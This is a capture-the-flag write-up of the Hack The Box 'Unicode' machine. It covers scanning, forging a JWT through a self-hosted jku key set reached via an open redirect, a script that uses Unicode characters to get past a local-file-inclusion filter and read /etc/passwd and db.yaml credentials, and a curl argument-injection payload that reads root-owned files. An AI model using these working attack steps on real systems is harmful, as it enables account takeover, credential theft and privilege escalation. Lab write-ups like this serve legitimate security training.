Enumeration
We will start with a quick scan:
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-28 12:59 EET
Nmap scan report for 10.129.113.151
Host is up (0.091s latency).
Not shown: 98 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fd:a0:f7:93:9e:d3:cc:bd:c2:3c:7f:92:35:70:d7:77 (RSA)
| 256 8b:b6:98:2d:fa:00:e5:e2:9c:8f:af:0f:44:99:03:b1 (ECDSA)
|_ 256 c9:89:27:3e:91:cb:51:27:6f:39:89:36:10:41:df:7c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Hackmedia
|_http-generator: Hugo 0.83.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.45 seconds
We get some dirs if we scan with gobuster
:
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://unicode.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Exclude Length: 9294
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/11/28 13:05:24 Starting gobuster in directory enumeration mode
===============================================================
/login (Status: 308) [Size: 256] [--> http://unicode.htb/login/]
/register (Status: 308) [Size: 262] [--> http://unicode.htb/register/]
/upload (Status: 308) [Size: 258] [--> http://unicode.htb/upload/]
/redirect (Status: 308) [Size: 262] [--> http://unicode.htb/redirect/]
/display (Status: 308) [Size: 260] [--> http://unicode.htb/display/]
/pricing (Status: 308) [Size: 260] [--> http://unicode.htb/pricing/]
/logout (Status: 308) [Size: 258] [--> http://unicode.htb/logout/]
/checkout (Status: 308) [Size: 262] [--> http://unicode.htb/checkout/]
/error (Status: 308) [Size: 256] [--> http://unicode.htb/error/]
/dashboard (Status: 308) [Size: 264] [--> http://unicode.htb/dashboard/]
/internal (Status: 308) [Size: 262] [--> http://unicode.htb/internal/]
/debug (Status: 308) [Size: 256] [--> http://unicode.htb/debug/]
If we try to access /display
we get an unauth error.
We see a Google about us button in the main page. This is a
redirection like: http://unicode.htb/redirect/?url=google.com It is
working like a redirection, so we cannot access to /display
with this:
http://unicode.htb/redirect/?url=unicode.htb/display
The pages are genereated with Hugo, but powered by Flask framework.
Getting the foothold
The login state is stored as a JWT signed with public-private key pair.
If we decode the JWT in jwt.io
, we can see there is a jku
attribute
pointing to http://hackmedia.htb/static/jwks.json.
The “jku” (JWK Set URL) Header Parameter is a URI that refers to a resource for a set of JSON-encoded public keys, one of which corresponds to the key used to digitally sign the JWS (JSON Web Signature).
If we add that domain to /etc/hosts
, we can visit the page and see the
following content:
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "hackthebox",
"alg": "RS256",
"n": "AMVcGPF62MA_lnClN4Z6WNCXZHbPYr-dhkiuE2kBaEPYYclRFDa24a-AqVY5RR2NisEP25wdHqHmGhm3Tde2xFKFzizVTxxTOy0OtoH09SGuyl_uFZI0vQMLXJtHZuy_YRWhxTSzp3bTeFZBHC3bju-UxiJZNPQq3PMMC8oTKQs5o-bjnYGi3tmTgzJrTbFkQJKltWC8XIhc5MAWUGcoI4q9DUnPj_qzsDjMBGoW1N5QtnU91jurva9SJcN0jb7aYo2vlP1JTurNBtwBMBU99CyXZ5iRJLExxgUNsDBF_DswJoOxs7CAVC5FjIqhb1tRTy3afMWsmGqw8HiUA2WFYcs",
"e": "AQAB"
}
]
}
We will generate a new RSA key pair with the following commands:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out private.key
Once this is done, we can get the n
and e
keys for our own jku
:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
We can download the jku
found in hackmedia.htb
and update the n
and e
fields with the ones from the script.
Now we can serve our own jku
with some http server, like:
python -m http.server 8080
After that, we update the jku
field in jwt.io
with our own
(http://10.10.14.35:8080/jwks.json).
We get the following error:
jku validation failed
But we are not receiving any request to our HTTP server. This might be caused by a domain restriction or something, but we can try with the redirect in the main page. http://hackmedia.htb/redirect/?url=http://10.10.14.35:8080/jwks.json And it fails again. I ended up trying the following and I got the request: http://hackmedia.htb/static/../redirect?url=10.10.14.35:8080/jwks.json
But no luck accessing the dashboard, we are redirected to the login. It
looks like the encoding of the original jwks.json
is not hex as the
script I got from the blog post.
The “n” (modulus) parameter contains the modulus value for the RSA public key. It is represented as a Base64urlUInt-encoded value.
If we google a bit more, we can find a python library for doing that task:
After changing the script to this:import jwkest
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", jwkest.long_to_base64(key.n))
print("e:", jwkest.long_to_base64(key.e))
I could craft a JWT with username admin
and login to the admin
dashboard. If we look at the Saved reports section, the urls look like
the following: http://hackmedia.htb/display/?page=monthly.pdf
This remind me an LFI. If we try to inject /etc/passwd, we get a 404. As the name of the machine suggets, we can try to use unicode to bypass it.
I wrote a script to test all the possible unicode representation for
chars /
and .
:
import requests
def send_payload(payload, encoder) -> bool:
encoded_payload = encoder(payload)
res = requests.get(f"http://hackmedia.htb/display/?page={encoded_payload}", cookies={
"auth": "<JWT>",
})
return not res.text.startswith("<html")
# We will try to get some unicode chars that are valid for ./monthly.pdf
# First for /
# https://www.compart.com/en/unicode/U+002F
for r in ["\u2100", "\u2101", "\u2105", "\u2106", "\uFF0F", "\u002F"]:
payload = "./monthly.pdf"
worked = send_payload(payload, lambda s: s.replace('/', r))
if worked:
print('/ =>', r.encode('raw_unicode_escape'))
We can see the unicode equivalent codes using this page:
After this, I updated the script to use the two unicode codes found to encode the payload:def to_unicode_str(s):
return s.replace('/', '\uff0f').replace('.', '\u2024')
And try to reach /etc/passwd
to prove if we can do the LFI.
send_payload("/etc/passwd")
for i in range(1, 15):
send_payload(f"{'../'*i}etc/passwd")
Indeed, we got /etc/passwd
going back 4 folders.
sending payload: ../../../../etc/passwd
encoded: ․․/․․/․․/․․/etc/passwd
root❌0:0:root:/root:/bin/bash
...
www-data❌33:33:www-data:/var/www:/usr/sbin/nologin
backup❌34:34:backup:/var/backups:/usr/sbin/nologin
...
code❌1000:1000:,,,:/home/code:/bin/bash
We can see the two users with login rights (root and code), and also www-data and backup, which seems interesting.
Getting the user flag
We can try to list files, such as the config for nginx
at
/etc/nginx/nginx.conf
.
After a lot of time looking for files, I got a hit with ../wsgi.py
as
it is a common configuration when using Flask + Nginx.
from coder import app
from werkzeug.debug import DebuggedApplication
if __name__ == "__main__":
app.run()
I could have simply looked for /etc/nginx/sites-enabled/default
which gave a straightforward way to find the sources.
server{
#Change the Webroot from /home/code/coder/ to /var/www/html/
#change the user password from db.yaml
listen 80;
location / {
proxy_pass http://localhost:8000;
include /etc/nginx/proxy_params;
proxy_redirect off;
}
location /static/{
alias /home/code/coder/static/styles/;
}
}
../coder.py
....
db=yaml.load(open('db.yaml'))
app.config['MYSQL_HOST']= db['mysql_host']
app.config['MYSQL_USER']=db['mysql_user']
app.config['MYSQL_PASSWORD']=db['mysql_password']
app.config['MYSQL_DB']=db['mysql_db']
app.debug=True
...
So we will try the db.yaml
, and get some credentials of user code.
mysql_host: "localhost"
mysql_user: "code"
mysql_password: "B3stC0d3r2021@@!"
mysql_db: "user"
Login with the credentials we got.
ssh coder@hackmedia.htb
Password: B3stC0d3r2021@@!
And we are in! We can get the user flag now if you haven’t done it with the LFI.
Privilege escalation
If we list the executables we can sudo without password:
code@code:~$ sudo -l
Matching Defaults entries for code on code:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User code may run the following commands on code:
(root) NOPASSWD: /usr/bin/treport
We find a treport
executable which is owned by root.
If we try to find the source:
find / -name '*treport*' 2>/dev/null
we don’t get any result:
/usr/bin/treport
/usr/lib/python3/dist-packages/twisted/trial/_dist/test/test_distreporter.py
/usr/lib/python3/dist-packages/twisted/trial/_dist/test/__pycache__/test_distreporter.cpython-38.pyc
/usr/lib/python3/dist-packages/twisted/trial/_dist/__pycache__/distreporter.cpython-38.pyc
/usr/lib/python3/dist-packages/twisted/trial/_dist/distreporter.py
And it is a binary file, not a script. If we strings
it, it looks like
a python compiled file. We can download it using scp
.
To decompile it, we can try with this two repositories:
Make sure you are extracting with python 3.8
as the libraries of the binary were using
this version. decompile3
wont work if you are not using the same
version as the binary.
def download(self):
now = datetime.now()
current_time = now.strftime('%H_%M_%S')
command_injection_list = ['$', '`', ';', '&', '|', '||', '>', '<', '?', "'", '@', '#', '$', '%', '^', '(', ')']
ip = input('Enter the IP/file_name:')
res = bool(re.search('\\s', ip))
if res:
print('INVALID IP')
sys.exit(0)
if 'file' in ip or ('gopher' in ip or 'mysql' in ip):
print('INVALID URL')
sys.exit(0)
for vars in command_injection_list:
if vars in ip:
print('NOT ALLOWED')
sys.exit(0)
else:
cmd = '/bin/bash -c "curl ' + ip + ' -o /root/reports/threat_report_' + current_time + '"'
os.system(cmd)
There seems to be a vulnerable call which simply concatenates the ip
,
which is a user input; but there are many characters excluded.
After some time trying out escapes and different techniques, I gave up
trying to bypass the command_injection_list
. I simply read the args of
curl
and saw a --next
which is kind of weird.
–next Make next URL use its separate set of options
This means if we insert the next
arg, the second part of the curl
won’t be executed for the first URL (the only one that exists). With
this in mind, and applying some escapes mentioned before, we can end up
with an expression like this:
{fi\le:///etc/passwd,--next}
The techniques applied are the following:
file
is split in two to bypass theINVALID URL
restriction using the escape of a common letter (which results in the letter).{a,b}
syntax allows us to separate two command parts without using spaces.
With this we have some way to read files with root privileges. We can simply get the root flag with:
{fi\le:///root/root.txt,--next}
Or the ssh key (although it is not working):
{fi\le:///root/.ssh/id_rsa,--next}
References
jku
claim exploitn
ande
specification- How to decompile
Pyinstaller
binaries - Python decompilation for ELF